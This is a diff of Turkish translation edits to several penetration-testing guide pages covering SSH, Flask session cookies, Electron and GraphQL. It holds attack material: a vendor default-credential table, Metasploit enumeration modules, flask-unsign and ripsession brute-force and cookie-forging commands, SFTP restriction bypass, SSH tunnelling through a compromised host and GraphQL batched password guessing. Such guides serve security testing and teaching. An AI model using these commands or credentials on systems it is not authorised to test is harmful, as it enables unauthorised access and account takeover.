**SSH (Güvenli Kabuk veya Güvenli Soket Kabuk)**, güvensiz bir ağ üzerinden bir bilgisayara güvenli bir bağlantı sağlamak için kullanılan bir ağ protokolüdür. Uzak sistemlere erişim sağlarken verilerin gizliliğini ve bütünlüğünü korumak için gereklidir.
|
||||
|
||||
**Varsayılan port:** 22
|
||||
```
|
||||
@ -16,13 +14,13 @@
|
||||
|
||||
- [openSSH](http://www.openssh.org) – OpenBSD SSH, BSD, Linux dağıtımları ve Windows 10'dan itibaren Windows'ta yerleşik
|
||||
- [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – Düşük bellek ve işlemci kaynaklarına sahip ortamlar için SSH uygulaması, OpenWrt'de yerleşik
|
||||
- [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) – Windows için SSH uygulaması, istemci yaygın olarak kullanılır ancak sunucu kullanımı daha nadirdir
|
||||
- [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) – Windows için SSH uygulaması, istemcisi yaygın olarak kullanılır ancak sunucu kullanımı daha nadirdir
|
||||
- [CopSSH](https://www.itefix.net/copssh) – Windows için OpenSSH uygulaması
|
||||
|
||||
**SSH kütüphaneleri (sunucu tarafını uygulayan):**
|
||||
|
||||
- [libssh](https://www.libssh.org) – SSHv2 protokolünü uygulayan çok platformlu C kütüphanesi, [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) ve [R](https://github.com/ropensci/ssh) ile bağlamalar içerir; KDE tarafından sftp için ve GitHub tarafından git SSH altyapısı için kullanılır
|
||||
- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – ANSI C ile yazılmış SSHv2 sunucu kütüphanesi, gömülü, RTOS ve kaynak kısıtlı ortamlar için hedeflenmiştir
|
||||
- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – ANSI C ile yazılmış ve gömülü, RTOS ve kaynak kısıtlı ortamlar için hedeflenmiş SSHv2 sunucu kütüphanesi
|
||||
- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – Apache SSHD java kütüphanesi Apache MINA'ya dayanmaktadır
|
||||
- [paramiko](https://github.com/paramiko/paramiko) – Python SSHv2 protokol kütüphanesi
|
||||
|
||||
@ -97,7 +95,7 @@ nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check a
|
||||
|
||||
### Kullanıcı Adı Sayımı
|
||||
|
||||
OpenSSH'nin bazı sürümlerinde kullanıcıları saymak için bir zamanlama saldırısı yapabilirsiniz. Bunu istismar etmek için bir metasploit modülü kullanabilirsiniz:
|
||||
Bazı OpenSSH sürümlerinde kullanıcıları saymak için bir zamanlama saldırısı yapabilirsiniz. Bunu istismar etmek için bir metasploit modülü kullanabilirsiniz:
|
||||
```
|
||||
msf> use scanner/ssh/ssh_enumusers
|
||||
```
|
||||
@ -107,7 +105,7 @@ Bazı yaygın ssh kimlik bilgileri [burada](https://github.com/danielmiessler/Se
|
||||
|
||||
### Özel Anahtar Brute Force
|
||||
|
||||
Eğer kullanılabilecek bazı ssh özel anahtarlarını biliyorsanız... deneyelim. nmap script'ini kullanabilirsiniz:
|
||||
Eğer kullanılabilecek bazı ssh özel anahtarlarını biliyorsanız... deneyelim. nmap betiğini kullanabilirsiniz:
|
||||
```
|
||||
https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html
|
||||
```
|
||||
@ -115,11 +113,13 @@ MSF yardımcı modülü:
|
||||
```
|
||||
msf> use scanner/ssh/ssh_identify_pubkeys
|
||||
```
|
||||
Ya da `ssh-keybrute.py` (yerel python3, hafif ve eski algoritmalar etkin): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute).
|
||||
Or use `ssh-keybrute.py` (native python3, lightweight and has legacy algorithms enabled): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute).
|
||||
|
||||
#### Bilinen kötü anahtarlar burada bulunabilir:
|
||||
|
||||
{% embed url="https://github.com/rapid7/ssh-badkeys/tree/master/authorized" %}
|
||||
{{#ref}}
|
||||
https://github.com/rapid7/ssh-badkeys/tree/master/authorized
|
||||
{{#endref}}
|
||||
|
||||
#### Zayıf SSH anahtarları / Debian tahmin edilebilir PRNG
|
||||
|
||||
@ -134,13 +134,13 @@ Daha fazla bilgi için `crackmapexec ssh --help` komutunu çalıştırın.
|
||||
|
||||
## Varsayılan Kimlik Bilgileri
|
||||
|
||||
| **Satıcı** | **Kullanıcı Adları** | **Şifreler** |
|
||||
| **Satıcı** | **Kullanıcı Adları** | **Parolalar** |
|
||||
| ---------- | ----------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| APC | apc, cihaz | apc |
|
||||
| Brocade | admin | admin123, password, brocade, fibranne |
|
||||
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
|
||||
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
|
||||
| D-Link | admin, kullanıcı | private, admin, user |
|
||||
| D-Link | admin, user | private, admin, user |
|
||||
| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
|
||||
| EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc |
|
||||
| HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin |
|
||||
@ -163,7 +163,7 @@ Eğer kurbanın SSH sunucusuna kullanıcı adı ve şifre ile bağlanacağı yer
|
||||
|
||||
[**SSH MITM**](https://github.com/jtesta/ssh-mitm) yukarıda tarif edilenleri tam olarak yapar.
|
||||
|
||||
Gerçek MitM'yi gerçekleştirmek için ARP sahtekarlığı, DNS sahtekarlığı veya [**Ağ Sahtekarlığı saldırıları**](../generic-methodologies-and-resources/pentesting-network/#spoofing) gibi teknikleri kullanabilirsiniz.
|
||||
Gerçek MitM gerçekleştirmek için ARP spoofing, DNS spoofing veya [**Ağ Spoofing saldırıları**](../generic-methodologies-and-resources/pentesting-network/#spoofing) gibi teknikleri kullanabilirsiniz.
|
||||
|
||||
## SSH-Snake
|
||||
|
||||
@ -176,7 +176,7 @@ SSH-Snake aşağıdaki görevleri otomatik ve yinelemeli olarak gerçekleştirir
|
||||
3. Keşfedilen tüm özel anahtarları kullanarak tüm hedeflere SSH bağlantısı kurmayı deneyin,
|
||||
4. Bir hedefe başarıyla bağlanılırsa, bağlı olunan sistemde #1 - #4 adımlarını tekrar edin.
|
||||
|
||||
Tamamen kendini çoğaltan ve kendini yayabilen -- ve tamamen dosyasızdır.
|
||||
Tamamen kendini çoğaltan ve kendini yayabilen - ve tamamen dosyasızdır.
|
||||
|
||||
## Yapılandırma Hataları
|
||||
|
||||
@ -197,7 +197,7 @@ SSH sunucularının varsayılan olarak root kullanıcı girişine izin vermesi y
|
||||
|
||||
### SFTP komut yürütme
|
||||
|
||||
SFTP kurulumlarında, yöneticilerin kullanıcıların dosya alışverişi yapmasını sağlamak için uzaktan shell erişimini etkinleştirmeden ayarlamaya çalıştığı yaygın bir gözden geçirme hatası vardır. Kullanıcıları etkileşimli olmayan shell'lerle (örneğin, `/usr/bin/nologin`) ayarlayıp belirli bir dizine kapatsalar da, bir güvenlik açığı kalır. **Kullanıcılar, giriş yaptıktan hemen sonra (örneğin `/bin/bash` gibi) bir komut yürütme talep ederek bu kısıtlamaları aşabilirler**, bu da yetkisiz komut yürütmeye olanak tanır ve amaçlanan güvenlik önlemlerini zayıflatır.
|
||||
SFTP kurulumlarında, yöneticilerin kullanıcıların dosya alışverişi yapmasını sağlamak için uzaktan shell erişimini etkinleştirmemesiyle ilgili yaygın bir gözden kaçırma vardır. Kullanıcıları etkileşimli olmayan shell'lerle (örneğin, `/usr/bin/nologin`) ayarlayıp belirli bir dizine kapatsalar da, bir güvenlik açığı kalır. **Kullanıcılar, giriş yaptıktan hemen sonra bir komutun (örneğin `/bin/bash`) yürütülmesini talep ederek bu kısıtlamaları aşabilirler**, bu da yetkisiz komut yürütmeye olanak tanır ve amaçlanan güvenlik önlemlerini zayıflatır.
|
||||
|
||||
[Buradan örnek](https://community.turgensec.com/ssh-hacking-guide/):
|
||||
```bash
|
||||
@ -232,17 +232,17 @@ PermitTunnel no
|
||||
X11Forwarding no
|
||||
PermitTTY no
|
||||
```
|
||||
Bu yapılandırma yalnızca SFTP'ye izin verecektir: başlangıç komutunu zorlayarak shell erişimini devre dışı bırakmak ve TTY erişimini devre dışı bırakmakla birlikte, her türlü port yönlendirmeyi veya tünellemeyi de devre dışı bırakmaktadır.
|
||||
Bu yapılandırma yalnızca SFTP'ye izin verecek: başlangıç komutunu zorlayarak shell erişimini devre dışı bırakacak ve TTY erişimini devre dışı bırakacak, ayrıca her türlü port yönlendirmeyi veya tünellemeyi de devre dışı bırakacaktır.
|
||||
|
||||
### SFTP Tünelleme
|
||||
|
||||
Bir SFTP sunucusuna erişiminiz varsa, trafiğinizi bunun üzerinden tünelleme yapabilirsiniz, örneğin yaygın port yönlendirmesini kullanarak:
|
||||
Bir SFTP sunucusuna erişiminiz varsa, trafiğinizi bunun üzerinden tünelleyebilirsiniz, örneğin yaygın port yönlendirmesini kullanarak:
|
||||
```bash
|
||||
sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>
|
||||
```
|
||||
### SFTP Symlink
|
||||
|
||||
**sftp** komutunun "**symlink**" komutu vardır. Bu nedenle, eğer bazı klasörlerde **yazma haklarınız** varsa, **diğer klasörlerin/dosyaların** **symlink**'lerini oluşturabilirsiniz. Muhtemelen bir chroot içinde **sıkışmış** olduğunuz için bu sizin için **özellikle faydalı olmayacaktır**, ancak, eğer oluşturulan **symlink**'e **no-chroot** **servis** üzerinden (örneğin, eğer symlink'e web üzerinden erişebiliyorsanız) **erişebiliyorsanız**, **symlinklenmiş dosyaları web üzerinden açabilirsiniz**.
|
||||
**sftp** komutunun "**symlink**" komutu vardır. Bu nedenle, eğer bazı klasörlerde **yazma haklarınız** varsa, **diğer klasörlerin/dosyaların** **symlink**'lerini oluşturabilirsiniz. Muhtemelen bir chroot içinde **sıkışmış** olduğunuz için bu sizin için **özellikle faydalı olmayacaktır**, ancak eğer oluşturulan **symlink**'e **no-chroot** **servisinden** (örneğin, eğer symlink'e web üzerinden erişebiliyorsanız) **erişebiliyorsanız**, **symlink'li dosyaları web üzerinden açabilirsiniz**.
|
||||
|
||||
Örneğin, yeni bir dosya **"**_**froot**_**"**'dan "**_**/**_**"**'ye bir **symlink** oluşturmak için:
|
||||
```bash
|
||||
@ -252,7 +252,7 @@ Eğer "_froot_" dosyasına web üzerinden erişebiliyorsanız, sistemin kök ("/
|
||||
|
||||
### Kimlik Doğrulama Yöntemleri
|
||||
|
||||
Yüksek güvenlikli ortamlarda, basit faktör şifre tabanlı kimlik doğrulama yerine yalnızca anahtar tabanlı veya iki faktörlü kimlik doğrulamanın etkinleştirilmesi yaygın bir uygulamadır. Ancak genellikle daha güçlü kimlik doğrulama yöntemleri, daha zayıf olanların devre dışı bırakılmadan etkinleştirilir. Sık karşılaşılan bir durum, `publickey`'nin openSSH yapılandırmasında etkinleştirilmesi ve varsayılan yöntem olarak ayarlanması, ancak `password`'un devre dışı bırakılmamasıdır. Bu nedenle, SSH istemcisinin ayrıntılı modunu kullanarak bir saldırgan daha zayıf bir yöntemin etkin olduğunu görebilir:
|
||||
Yüksek güvenlikli ortamlarda, basit faktör şifre tabanlı kimlik doğrulama yerine yalnızca anahtar tabanlı veya iki faktörlü kimlik doğrulamanın etkinleştirilmesi yaygın bir uygulamadır. Ancak genellikle daha güçlü kimlik doğrulama yöntemleri, daha zayıf olanların devre dışı bırakılmadan etkinleştirilir. Sık karşılaşılan bir durum, `publickey`'nin openSSH yapılandırmasında etkinleştirilmesi ve varsayılan yöntem olarak ayarlanması, ancak `password`'ün devre dışı bırakılmamasıdır. Bu nedenle, SSH istemcisinin ayrıntılı modunu kullanarak bir saldırgan daha zayıf bir yöntemin etkin olduğunu görebilir:
|
||||
```bash
|
||||
ssh -v 192.168.1.94
|
||||
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
|
||||
|
@ -4,6 +4,8 @@
|
||||
|
||||
Buckets'ı listeleme ve kötüye kullanma hakkında daha fazla bilgi edinmek istiyorsanız bu sayfayı kontrol edin:
|
||||
|
||||
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum" %}
|
||||
{{#ref}}
|
||||
https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -4,10 +4,12 @@
|
||||
|
||||
## Firebase Nedir
|
||||
|
||||
Firebase, esas olarak mobil uygulamalar için bir Backend-as-a-Service'dir. Uygulama ile arka uç arasındaki etkileşimi kolaylaştıran güzel bir SDK ve birçok ilginç şey sunarak arka uç programlamanın yükünü ortadan kaldırmaya odaklanmıştır.
|
||||
Firebase, esasen mobil uygulamalar için bir Backend-as-a-Service'dir. Uygulama ile arka uç arasındaki etkileşimi kolaylaştıran güzel bir SDK ve birçok diğer ilginç şey sunarak arka uç programlamanın yükünü ortadan kaldırmaya odaklanmıştır.
|
||||
|
||||
Firebase hakkında daha fazla bilgi edinin:
|
||||
|
||||
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-firebase-enum" %}
|
||||
{{#ref}}
|
||||
https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-firebase-enum
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Örnek 1
|
||||
|
||||
[https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41) adresinden bir örnek
|
||||
[https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41) adresinden örnek
|
||||
|
||||
"exit" olay dinleyicisi, sayfa yüklemesi başladığında her zaman iç kod tarafından ayarlanır. Bu olay, navigasyondan hemen önce yayımlanır:
|
||||
```javascript
|
||||
@ -15,7 +15,9 @@ cachedArchives[p].destroy()
|
||||
}
|
||||
})
|
||||
```
|
||||
{% embed url="https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36" %}
|
||||
{{#ref}}
|
||||
https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36
|
||||
{{#endref}}
|
||||
|
||||
.png>)
|
||||
|
||||
|
@ -24,7 +24,9 @@ Cookie ayrıca bir şifre kullanılarak imzalanmıştır.
|
||||
|
||||
Bir Flask uygulamasının oturum çerezlerini gizli anahtarları tahmin ederek almak, çözmek, kaba kuvvetle denemek ve oluşturmak için kullanılan komut satırı aracı.
|
||||
|
||||
{% embed url="https://pypi.org/project/flask-unsign/" %}
|
||||
{{#ref}}
|
||||
https://pypi.org/project/flask-unsign/
|
||||
{{#endref}}
|
||||
```bash
|
||||
pip3 install flask-unsign
|
||||
```
|
||||
@ -32,7 +34,7 @@ pip3 install flask-unsign
|
||||
```bash
|
||||
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
|
||||
```
|
||||
#### **Kaba Güç**
|
||||
#### **Kaba Kuvvet**
|
||||
```bash
|
||||
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
|
||||
```
|
||||
@ -46,9 +48,11 @@ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
|
||||
```
|
||||
### **RIPsession**
|
||||
|
||||
Flask-unsign ile oluşturulmuş çerezleri kullanarak web sitelerine brute-force saldırısı yapmak için komut satırı aracı.
|
||||
Cookie'leri flask-unsign ile oluşturulmuş sitelere brute-force saldırısı yapmak için komut satırı aracı.
|
||||
|
||||
{% embed url="https://github.com/Tagvi/ripsession" %}
|
||||
{{#ref}}
|
||||
https://github.com/Tagvi/ripsession
|
||||
{{#endref}}
|
||||
```bash
|
||||
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
|
||||
```
|
||||
@ -79,6 +83,6 @@ return get(f'{SITE_NAME}{path}').content
|
||||
|
||||
app.run(host='0.0.0.0', port=8080)
|
||||
```
|
||||
Bir **SSRF** oluşturmak için "@attacker.com" gibi bir şeyin tanıtılmasına izin verebilir.
|
||||
"@attacker.com" gibi bir şeyin tanıtılmasına izin verebilir, bu da bir **SSRF** oluşturabilir.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -2,7 +2,6 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Giriş
|
||||
|
||||
GraphQL, arka uçtan veri sorgulamak için basitleştirilmiş bir yaklaşım sunarak REST API'ye **verimli bir alternatif** olarak **vurgulanmaktadır**. REST'in, verileri toplamak için genellikle çeşitli uç noktalar arasında çok sayıda isteği gerektirmesiyle karşılaştırıldığında, GraphQL, gerekli tüm bilgilerin **tek bir istekle** alınmasını sağlar. Bu basitleştirme, veri alma süreçlerinin karmaşıklığını azaltarak **geliştiricilere** önemli ölçüde **fayda sağlar**.
|
||||
@ -13,7 +12,7 @@ Yeni teknolojilerin, GraphQL dahil, ortaya çıkmasıyla birlikte yeni güvenlik
|
||||
|
||||
### Dizin Kaba Kuvvet Saldırıları ve GraphQL
|
||||
|
||||
Açık GraphQL örneklerini belirlemek için dizin kaba kuvvet saldırılarında belirli yolların dahil edilmesi önerilmektedir. Bu yollar şunlardır:
|
||||
Açık GraphQL örneklerini belirlemek için dizin kaba kuvvet saldırılarına belirli yolların dahil edilmesi önerilmektedir. Bu yollar şunlardır:
|
||||
|
||||
- `/graphql`
|
||||
- `/graphiql`
|
||||
@ -24,7 +23,7 @@ Açık GraphQL örneklerini belirlemek için dizin kaba kuvvet saldırılarında
|
||||
- `/graphql/api`
|
||||
- `/graphql/graphql`
|
||||
|
||||
Açık GraphQL örneklerini belirlemek, desteklenen sorguların incelenmesine olanak tanır. Bu, uç nokta üzerinden erişilebilen verileri anlamak için kritik öneme sahiptir. GraphQL'in introspeksiyon sistemi, bir şemanın desteklediği sorguları detaylandırarak bu süreci kolaylaştırır. Bununla ilgili daha fazla bilgi için GraphQL'in introspeksiyon belgelerine bakın: [**GraphQL: API'ler için bir sorgu dili.**](https://graphql.org/learn/introspection/)
|
||||
Açık GraphQL örneklerini belirlemek, desteklenen sorguların incelenmesine olanak tanır. Bu, uç nokta üzerinden erişilebilen verilerin anlaşılması için kritik öneme sahiptir. GraphQL'in introspeksiyon sistemi, bir şemanın desteklediği sorguları detaylandırarak bu süreci kolaylaştırır. Bununla ilgili daha fazla bilgi için GraphQL'in introspeksiyon belgelerine bakın: [**GraphQL: API'ler için bir sorgu dili.**](https://graphql.org/learn/introspection/)
|
||||
|
||||
### Parmak İzi
|
||||
|
||||
@ -32,7 +31,7 @@ Açık GraphQL örneklerini belirlemek, desteklenen sorguların incelenmesine ol
|
||||
|
||||
#### Evrensel sorgular <a href="#universal-queries" id="universal-queries"></a>
|
||||
|
||||
Bir URL'nin bir GraphQL hizmeti olup olmadığını kontrol etmek için, `query{__typename}` şeklinde bir **evrensel sorgu** gönderilebilir. Yanıt `{"data": {"__typename": "Query"}}` içeriyorsa, bu URL'nin bir GraphQL uç noktası barındırdığını doğrular. Bu yöntem, sorgulanan nesnenin türünü ortaya koyan GraphQL'in `__typename` alanına dayanır.
|
||||
Bir URL'nin bir GraphQL hizmeti olup olmadığını kontrol etmek için, bir **evrensel sorgu**, `query{__typename}`, gönderilebilir. Yanıt `{"data": {"__typename": "Query"}}` içeriyorsa, bu URL'nin bir GraphQL uç noktası barındırdığını doğrular. Bu yöntem, sorgulanan nesnenin türünü ortaya koyan GraphQL'in `__typename` alanına dayanır.
|
||||
```javascript
|
||||
query{__typename}
|
||||
```
|
||||
@ -66,10 +65,10 @@ Bu sorgu ile tüm türleri, alanlarını ve argümanlarını (ve argümanların
|
||||
```
|
||||
.png>)
|
||||
|
||||
**İçgörü ile Veritabanı Şemasını Sayma**
|
||||
**Veritabanı Şemasını İnspeksiyon ile Belirleme**
|
||||
|
||||
> [!NOTE]
|
||||
> Eğer içgörü etkinse ancak yukarıdaki sorgu çalışmıyorsa, sorgu yapısından `onOperation`, `onFragment` ve `onField` direktiflerini kaldırmayı deneyin.
|
||||
> İnspeksiyon etkinse ancak yukarıdaki sorgu çalışmıyorsa, sorgu yapısından `onOperation`, `onFragment` ve `onField` direktiflerini kaldırmayı deneyin.
|
||||
```bash
|
||||
#Full introspection query
|
||||
|
||||
@ -167,13 +166,13 @@ Son kod satırı, graphql'den tüm meta-bilgileri (nesne adları, parametreler,
|
||||
|
||||
.png>)
|
||||
|
||||
Eğer introspection etkinse, [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager) kullanarak GUI'de tüm seçenekleri görüntüleyebilirsiniz.
|
||||
Eğer introspection etkinse, tüm seçenekleri bir GUI'de görüntülemek için [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager) kullanabilirsiniz.
|
||||
|
||||
### Sorgulama
|
||||
|
||||
Artık veritabanında hangi tür bilgilerin saklandığını bildiğimize göre, **bazı değerleri çıkarmaya** çalışalım.
|
||||
Artık veritabanında hangi tür bilgilerin saklandığını bildiğimize göre, **bazı değerleri çıkarmayı** deneyelim.
|
||||
|
||||
İntrospection'da **hangi nesneyi doğrudan sorgulayabileceğinizi** bulabilirsiniz (çünkü bir nesneyi sadece var olduğu için sorgulayamazsınız). Aşağıdaki resimde "_queryType_"'ın "_Query_" olarak adlandırıldığını ve "_Query_" nesnesinin alanlarından birinin "_flags_" olduğunu görebilirsiniz; bu da bir nesne türüdür. Bu nedenle, bayrak nesnesini sorgulayabilirsiniz.
|
||||
İntrospection'da **hangi nesneyi doğrudan sorgulayabileceğinizi** bulabilirsiniz (çünkü bir nesneyi sadece var olduğu için sorgulayamazsınız). Aşağıdaki görüntüde "_queryType_"'ın "_Query_" olarak adlandırıldığını ve "_Query_" nesnesinin alanlarından birinin "_flags_" olduğunu görebilirsiniz; bu da bir nesne türüdür. Bu nedenle, bayrak nesnesini sorgulayabilirsiniz.
|
||||
|
||||

|
||||
|
||||
@ -194,7 +193,7 @@ Bunu sadece şu şekilde sorgulayabilirsiniz:
|
||||
query = { hiddenFlags }
|
||||
```
|
||||
Başka bir örnekte "_Query_" türü nesnesinin içinde "_user_" ve "_users_" adında 2 nesne vardı.\
|
||||
Eğer bu nesnelerin arama yapmak için herhangi bir argümana ihtiyacı yoksa, istediğiniz veriyi **sadece** isteyerek **tüm bilgileri alabilirsiniz**. Bu örnekte İnternetten kaydedilmiş kullanıcı adlarını ve şifreleri çıkarabilirsiniz:
|
||||
Eğer bu nesnelerin arama yapmak için herhangi bir argümana ihtiyacı yoksa, istediğiniz veriyi **sadece** isteyerek **tüm bilgileri alabilirsiniz**. Bu internet örneğinde, kaydedilmiş kullanıcı adlarını ve şifreleri çıkarabilirsiniz:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -202,7 +201,7 @@ Ancak, bu örnekte bunu yapmaya çalıştığınızda bu **hata** ile karşıla
|
||||
|
||||
.png>)
|
||||
|
||||
Görünüşe göre bir şekilde "_**uid**_" argümanını _**Int**_ türünde kullanarak arama yapacak.\
|
||||
Görünüşe göre bir şekilde "_**uid**_" argümanını _**Int**_ türü ile kullanarak arama yapacak.\
|
||||
Her neyse, zaten biliyorduk ki, [Basic Enumeration](graphql.md#basic-enumeration) bölümünde bize gerekli tüm bilgileri gösteren bir sorgu önerilmişti: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
|
||||
|
||||
O sorguyu çalıştırdığımda sağlanan görüntüyü okursanız, "_**user**_" nesnesinin _Int_ türünde "_**uid**_" **arg**'sine sahip olduğunu göreceksiniz.
|
||||
@ -224,7 +223,7 @@ Eğer bir dize türü ile arama yapabiliyorsanız, örneğin: `query={theusers(d
|
||||
|
||||
### Arama
|
||||
|
||||
Bu yapılandırmada, bir **veritabanı** **kişileri** ve **filmleri** içermektedir. **Kişiler** **e-posta** ve **isim** ile tanımlanır; **filmler** ise **isim** ve **puan** ile tanımlanır. **Kişiler** birbirleriyle arkadaş olabilir ve ayrıca veritabanında ilişkileri gösteren filmlere sahip olabilirler.
|
||||
Bu yapılandırmada, bir **veritabanı** **kişileri** ve **filmleri** içermektedir. **Kişiler** **e-posta** ve **isim** ile tanımlanır; **filmler** ise **isim** ve **puan** ile tanımlanır. **Kişiler** birbirleriyle arkadaş olabilir ve ayrıca filmlere sahip olabilir, bu da veritabanı içindeki ilişkileri gösterir.
|
||||
|
||||
**İsim** ile kişileri **arama** yapabilir ve e-posta adreslerini alabilirsiniz:
|
||||
```javascript
|
||||
@ -251,7 +250,7 @@ name
|
||||
```
|
||||
Not edin ki kişinin `subscribedMovies`'nin `name`'ini almak için nasıl belirtildiği.
|
||||
|
||||
Aynı anda **birden fazla nesne arayabilirsiniz**. Bu durumda, 2 film araması yapılmaktadır:
|
||||
Aynı anda **birden fazla nesne arayabilirsiniz**. Bu durumda, 2 film aranıyor:
|
||||
```javascript
|
||||
{
|
||||
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
|
||||
@ -340,13 +339,13 @@ Bu raporda açıklanan [**zafiyetlerden birinde**](https://www.landh.tech/blog/2
|
||||
### 1 API isteğinde toplu brute-force
|
||||
|
||||
Bu bilgi [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/) adresinden alınmıştır.\
|
||||
GraphQL API üzerinden **farklı kimlik bilgileri ile aynı anda birçok sorgu göndererek** kimlik doğrulama yapılır. Bu klasik bir brute force saldırısıdır, ancak GraphQL toplama özelliği sayesinde bir HTTP isteği başına birden fazla oturum açma/şifre çifti göndermek mümkündür. Bu yaklaşım, dış hız izleme uygulamalarını her şeyin yolunda olduğu ve şifreleri tahmin etmeye çalışan bir brute-forcing botunun olmadığı konusunda kandırır.
|
||||
GraphQL API üzerinden **farklı kimlik bilgileri ile aynı anda birçok sorgu göndererek** kimlik doğrulama yapılır. Bu klasik bir brute force saldırısıdır, ancak artık GraphQL toplama özelliği sayesinde her HTTP isteğinde birden fazla giriş/şifre çifti göndermek mümkündür. Bu yaklaşım, dış hız izleme uygulamalarını her şeyin yolunda olduğu ve şifreleri tahmin etmeye çalışan bir brute-forcing botunun olmadığı konusunda kandırır.
|
||||
|
||||
Aşağıda, **aynı anda 3 farklı e-posta/şifre çifti** ile bir uygulama kimlik doğrulama isteğinin en basit gösterimini bulabilirsiniz. Açıkça, aynı şekilde tek bir istekte binlerce göndermek mümkündür:
|
||||
|
||||
.png>)
|
||||
|
||||
Yanıt ekran görüntüsünden görebileceğimiz gibi, birinci ve üçüncü istekler _null_ döndürdü ve ilgili bilgileri _hata_ bölümünde yansıttı. **İkinci mutasyon doğru kimlik doğrulama** verilerine sahipti ve yanıt doğru kimlik doğrulama oturum belirtecini içeriyordu.
|
||||
Yanıt ekran görüntüsünden görebileceğimiz gibi, birinci ve üçüncü istekler _null_ döndürdü ve _hata_ bölümünde ilgili bilgileri yansıttı. **İkinci mutasyon doğru kimlik doğrulama** verilerine sahipti ve yanıt doğru kimlik doğrulama oturum belirtecini içeriyordu.
|
||||
|
||||
 (1).png>)
|
||||
|
||||
@ -354,13 +353,13 @@ Yanıt ekran görüntüsünden görebileceğimiz gibi, birinci ve üçüncü ist
|
||||
|
||||
Giderek daha fazla **graphql uç noktası inspeksiyonu devre dışı bırakıyor**. Ancak, beklenmedik bir istek alındığında graphql'nin attığı hatalar, [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) gibi araçların şemanın çoğunu yeniden oluşturması için yeterlidir.
|
||||
|
||||
Ayrıca, Burp Suite uzantısı [**GraphQuail**](https://github.com/forcesunseen/graphquail) **Burp üzerinden geçen GraphQL API isteklerini gözlemler** ve her yeni sorgu gördüğünde bir iç GraphQL **şeması** **oluşturur**. Ayrıca, şemayı GraphiQL ve Voyager için açığa çıkarabilir. Uzantı, bir inspeksiyon sorgusu aldığında sahte bir yanıt döndürür. Sonuç olarak, GraphQuail API içinde kullanılabilir tüm sorguları, argümanları ve alanları gösterir. Daha fazla bilgi için [**bunu kontrol edin**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
|
||||
